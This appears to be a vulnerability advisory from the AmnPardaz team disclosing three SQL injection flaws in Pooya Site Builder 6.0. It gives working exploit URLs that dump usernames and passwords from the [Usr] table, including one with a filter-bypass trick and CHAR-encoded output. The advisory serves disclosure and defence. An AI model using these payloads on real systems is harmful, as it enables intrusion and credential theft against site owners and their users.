########################## www.BugReport.ir ####################################### # # AmnPardaz Security Research Team # # Title: Pooya Site Builder (PSB) SQL Injection Vulnerabilities # Vendor: www.paridel.com # Vulnerable Version: 6.0 (Assembly Version) # Exploit: Available # Impact: High # Fix: N/A # Original Advisory: www.bugreport.ir/?/42 ################################################################################### #################### 1. Description: #################### Pooya site builder (psb) is an easy to use database driven web content management and security management system. It allows you to create, edit & web content instantly using just a browser, psb provides all essential feature you need for running your own business websites (you can even use it for large websites, without the complexity of unused functions). #################### 2. Vulnerabilities: #################### 2.1. Injection Flaws. SQL Injection in "/utils/getXsl.aspx" in "xslIdn" parameter. 2.1.1. Exploit: Check the exploit section. 2.2. Injection Flaws. SQL Injection in "/utils/getXml.aspx" in "part" parameter. 2.2.1. Exploit: Check the exploit section. 2.3. Injection Flaws. SQL Injection in "/utils/getXls.aspx" in "part" parameter. 2.3.1. Exploit: Check the exploit section. #################### 3. Exploits: #################### Original Exploit URL: http://bugreport.ir/index.php?/42/exploit Use Internet Explorer (IE) for best result. Note: "'" used to bypass any SQL Injection denier. 3.1. SQL Injection in "/utils/getXsl.aspx" in "xslIdn" parameter. ------------- http://[URL]/utils/getXsl.aspx?xslIdn=-1' union' all' select 'UsrNam%2bUsrPwd' from' [Usr] Open downloaded file by notepad. ------------- 3.2. SQL Injection in "/utils/getXml.aspx" in "part" parameter. ------------- http://[URL]/utils/getXml.aspx?lnkIdn=-1&part=1 from' 'lnk' 'where' 1='2187 'union' all' 'select' 'UsrNam%2bUsrPwd' from' [Usr]' 'union' all' select' data1' Open downloaded file by notepad. ------------- 3.3. SQL Injection in "/utils/getXls.aspx" in "part" parameter. ------------- /utils/getXls.aspx?lnkIdn=-1&part=1 'from 'lnk' 'where' 1='2187 'union' all' 'select' 'CHAR(60)%2bCHAR(116)%2bCHAR(97)%2bCHAR(98)%2bCHAR(108)%2bCHAR(101)%2bCHAR(62)%2bCHAR(60)%2bCHAR(116)%2bCHAR(114)%2bCHAR(62)%2b CHAR(60)%2bCHAR(116)%2bCHAR(100)%2bCHAR(62)%2bUsrNam%2bUsrPwd%2bCHAR(60)%2bCHAR(47)%2bCHAR(116)%2bCHAR(100)%2bCHAR(62)%2b CHAR(60)%2bCHAR(47)%2bCHAR(116)%2bCHAR(114)%2bCHAR(62)%2bCHAR(60)%2bCHAR(47)%2bCHAR(116)%2bCHAR(97)%2bCHAR(98)%2bCHAR(108)%2bCHAR(101)%2bCHAR(62) 'from '[Usr] 'union 'all 'select' data1' Open downloaded file by notepad. ------------- #################### 4. Solution: #################### Rename or remove "/utils/getXsl.aspx", "/utils/getXml.aspx", and "/utils/getXls.aspx" files and wait for vendor patch. #################### 5. Credit: #################### AmnPardaz Security Research & Penetration Testing Group Contact: admin[4t}bugreport{d0t]ir WwW.BugReport.ir WwW.AmnPardaz.com